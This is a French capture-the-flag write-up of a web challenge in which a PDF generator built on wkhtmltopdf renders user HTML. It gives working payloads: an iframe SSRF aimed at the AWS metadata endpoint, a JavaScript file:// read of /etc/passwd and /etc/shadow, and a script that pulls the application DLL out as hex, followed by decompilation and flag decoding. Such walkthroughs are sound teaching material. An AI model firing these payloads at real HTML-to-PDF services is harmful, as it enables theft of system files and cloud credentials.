[Sthack][WriteUp – Web] Online PDF Maker
Le site est très simple avec une simple page proposant de créer un PDF à partir d’un champ texte txtValue.
Une simple requête POST et hop ! On a un PDF généré avec le contenu entré dans la variable.
Pour le PDF en lui-même, le voici:
On observe que l’application utilisée pour la génération est wkhtmltopdf, et comme le montre le test de la capture ci-dessus, l’HTML est interprété. Même chose pour le JavaScript !
Comme c’est vraiment très peu pratique de télécharger le PDF, ouvrir le PDF, lire le PDF à chaque test, un petit script a été rédigé à cet effet (désolé pour l’affichage, WordPress n’est pas très galant avec le code) :
import requests from tika import parser URL = "http://54.74.93.233/" payload = """<u>ok</u>""" def getPDF(payload): data = {"txtValue": payload, "keyValue": ""} req = requests.post(URL, data=data) return req.content def cleanContent(content): output = content.replace("Page 1 of 1", "") output = output.replace("Created with PdfMaker", "") return output.strip() def getContent(payload): pdf = getPDF(payload) with open("out.tmp", 'wb') as outfile: outfile.write(pdf) parsed_pdf = parser.from_file("out.tmp") return cleanContent(parsed_pdf["content"]) print(getContent(payload))
Donc la vulnérabilité est présente, c’est une XSS côté serveur, et aucune restriction apparente. Une première piste fut le cloud. Parce qu’en effet, un whois rapide nous indique que l’IP 54.74.93.233 appartient à Amazon. Donc une SSRF vers la meta-data API semblait toute indiquée.
Le payload du script précédent devient alors une iframe récupérant le retour de l’API:
payload = """<iframe src="https://169.254.169.254/latest/" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"></iframe>"""
Sauf qu’aucune clef n’était présente dans meta-data/iam/security-credentials/.
Donc on passe à autre chose, et notamment une lecture de fichiers arbitraire avec /etc/passwd, via ce payload :
payload = """<script>x=new XMLHttpRequest;x.onload=function(){document.write(btoa(this.responseText))};x.open("GET","file:///etc/passwd");x.send();</script>"""
Et /etc/shadow:
Donc on a une lecture arbitraire de fichiers en tant que root.
Là on se rappelle que dans le code source de l’index du site, était caché ce commentaire.
Il y a donc fort à parier que le chemin /appest donc la racine du site web et particulièrement d’une application ASP.NET. Dans ces projets, un fichier intéressant est web.config (https://docs.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/web-config?view=aspnetcore-5.0) contenant les informations de configuration de l’application.
C’est bien le cas et on a maintenant un nom de fichier OnlinePdfMaker.dll qui correspond aux sources du site web.
Là c’est devenu complexe, parce qu’impossible de télécharger un binaire. Sans parler de /app/OnlinePdfMaker.dll, /bin/cat, /bin/ls renvoyaient des résultats vides. En cherchant sur l’internet, on tombe sur https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data expliquant qu’il est possible de spécifier le résultat attendu à une requête en JavaScript et notamment avec un ArrayBuffer.
Voici donc (après moult essais), le payload JavaScript permettant de récupérer la DLL:
<script> x=new XMLHttpRequest; x.open("GET","file:///app/OnlinePdfMaker.dll", true); x.responseType = "arraybuffer"; x.onload=function(){{ var arrayBuffer = x.response; if (arrayBuffer) {{ var byteArray = new Uint8Array(arrayBuffer); for (i=0; i<byteArray.length; i++) {{ document.write(('0' + (byteArray[i] & 0xFF).toString(16)).slice(-2)); }} var s = '0x'; }} }}; x.send(); </script>
Il nous reste maintenant à désassembler la DLL avec DotPeek:
On tombe notamment sur ce petit bout de code parlant d’un flag chiffré:
string s = "FBMqE3MvFDkUGDM4MVUdFgAwAEA0Cj4SbwEGAQA3B1c6QhE7CAg6"; string str1 = "VGhlRmxhZ0lzU29tZXdoZXJlX3VzZV95b3VyX2JyYWlu"; string str2 = str1.Substring(1, 1) + str1.Substring(1, 1) + str1.Substring(32, 1) + str1.Substring(4, 1) + str1.Substring(9, 1) + Encoding.Default.GetString(Convert.FromBase64String("ZG9uJ3RfZ3Vlc3NfbG9va19hdF90aGVfY29kZSEhXzsp")); string str3 = !string.Equals(keyValue, str2) ? (keyValue == null || keyValue.Equals("") ? "" : "Wrong key") : "flag : " + EncryptModel.XORCipher(Encoding.Default.GetString(Convert.FromBase64String(s)), str2); string str4 = "<html><head></head><body><br>" + txtValue + "<br></body></html>";
Avec un léger script python pas très complexe, on retrouve le flag :
from base64 import b64decodedef xor(a, b): res = "" for i,j in zip(a,b): res += chr(i^ord(j)) return res s = "FBMqE3MvFDkUGDM4MVUdFgAwAEA0Cj4SbwEGAQA3B1c6QhE7CAg6" str1 = "VGhlRmxhZ0lzU29tZXdoZXJlX3VzZV95b3VyX2JyYWlu" str2 = str1[1] + str1[1] + str1[32] + str1[4] + str1[9] + b64decode("ZG9uJ3RfZ3Vlc3NfbG9va19hdF90aGVfY29kZSEhXzsp").decode() str3 = xor(b64decode(s), str2) print(str3)